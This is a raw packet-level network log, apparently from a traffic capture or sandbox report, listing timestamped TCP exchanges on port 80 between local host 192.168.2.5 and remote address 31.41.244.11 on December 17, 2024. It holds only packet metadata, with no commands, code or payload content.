Dec 17, 2024 08:03:19.139296055 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.139374971 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.139456034 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.141340017 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.141391039 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.141490936 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.141536951 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.143340111 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.143395901 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.143471956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.143532038 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.145343065 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.145392895 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.145436049 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.145479918 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.147368908 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.147418976 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.147459984 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.147501945 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.149365902 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.149418116 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.149482965 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.149533033 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.151390076 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.151448011 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.151520014 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.151570082 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.153415918 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.153469086 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.153533936 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.153590918 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.155462980 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.155515909 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.155535936 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.155582905 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.157454967 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.157526016 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.157584906 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.157632113 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.159492016 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.159545898 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.159609079 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.159657955 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.161536932 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.161652088 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.161667109 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.161700010 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.163599968 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.163650036 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.163650990 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.163693905 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.165580988 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.165636063 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.166265011 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.166318893 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.167608976 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.167680979 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.167723894 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.167777061 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.169657946 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.169723034 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.169737101 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.169792891 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.171685934 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.171734095 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.171864986 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.171920061 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.173675060 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.173727036 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.173799038 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.173856974 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.175688028 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.175743103 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.175812960 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.175863981 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.177735090 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.177792072 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.177846909 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.177897930 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.179780006 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.179833889 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.179902077 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.179956913 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.181788921 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.181843996 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.181890965 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.181943893 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.183830023 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.183876038 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.183917046 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.183965921 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.185969114 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.186017990 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.186019897 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.186069965 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.187846899 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.187899113 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.187953949 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.188011885 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.189958096 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.190013885 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.190107107 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.190156937 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.191936016 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.191991091 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.192110062 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.192162991 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.193996906 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.194052935 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.194103956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.194154978 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.196026087 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.196079969 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.196149111 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.196197987 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.198009968 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.198061943 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.198146105 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.198201895 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.200047970 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.200113058 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.200167894 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.200215101 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.202055931 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.202117920 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.202179909 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.202230930 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.204073906 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.204128027 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.204209089 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.204262972 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.206063032 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.206116915 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.206161976 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.206206083 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.208138943 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.208193064 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.208276987 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.208331108 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.210169077 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.210226059 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.210237026 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.210292101 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.212141037 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.212208033 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.212276936 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.212330103 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.214194059 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.214251995 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.214323997 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.214375019 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.216181040 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.216236115 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.216453075 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.216506004 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.218282938 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.218337059 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.218370914 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.218420982 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.220196962 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.220252037 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.309175014 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.309220076 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.309326887 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.309834003 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.309905052 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.309968948 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.310025930 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.311517000 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.311572075 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.311638117 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.311687946 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.313271046 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.313328028 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.313391924 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.313445091 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.314992905 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.315047979 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.315129995 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.315174103 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.316747904 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.316795111 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.316870928 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.316917896 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.318334103 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.318384886 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.318471909 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.318520069 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.320029974 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.320085049 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.320086956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.320137978 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.321602106 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.321657896 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.321760893 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.321810961 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.323285103 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.323355913 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.323446035 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.323501110 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.324826956 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.324906111 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.324938059 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.324987888 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.326379061 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.326433897 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.326514959 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.326571941 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.327919006 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.327975035 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.328022957 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.328074932 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.329488039 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.329540968 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.329603910 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.329659939 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.331005096 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.331060886 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.331135988 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.331187963 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.332513094 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.332587004 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.332657099 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.332707882 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.334019899 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.334074020 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.334151983 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.334206104 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.335511923 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.335566044 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.335642099 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.335694075 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.337013960 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.337073088 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.337125063 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.337177038 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.338450909 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.338502884 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.338572025 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.338623047 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.339900017 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.339953899 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.339975119 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.340028048 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.341403008 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.341469049 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.341515064 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.341567993 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.342845917 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.342901945 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.343003988 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.343058109 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.344211102 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.344264030 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.344348907 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.344404936 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.345774889 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.345827103 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.345943928 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.345995903 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.347115993 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.347174883 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.347207069 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.347254038 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.348472118 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.348526955 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.348611116 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.348660946 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.349895000 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.349951982 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.350017071 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.350059986 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.351361036 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.351409912 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.351427078 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.351474047 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.352741003 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.352787971 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.352791071 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.352837086 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.354176044 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.354233027 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.354288101 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.354347944 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.355607033 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.355675936 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.355742931 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.355808020 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.357023954 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.357083082 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.357165098 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.357223034 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.358449936 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.358520031 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.358572960 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.358622074 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.359873056 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.360131025 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.360519886 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.360519886 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.361279964 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.361375093 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.361427069 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.361478090 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.362731934 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.362793922 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.362839937 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.362895012 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.364161968 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.364219904 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.364274025 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.364327908 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.365623951 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.365680933 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.365756035 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.365809917 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.367027998 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.367083073 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.367165089 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.367217064 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.368453026 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.368522882 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.368597031 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.368652105 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.369930983 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.369986057 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.370058060 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.370110035 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.371310949 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.371393919 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.371398926 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.371444941 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.372992992 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.373049021 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.373065948 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.373115063 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.374177933 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.374236107 CET	49844	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:19.374279022 CET	80	49844	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:19.374329090 CET	49844	80	192.168.2.5	31.41.244.11
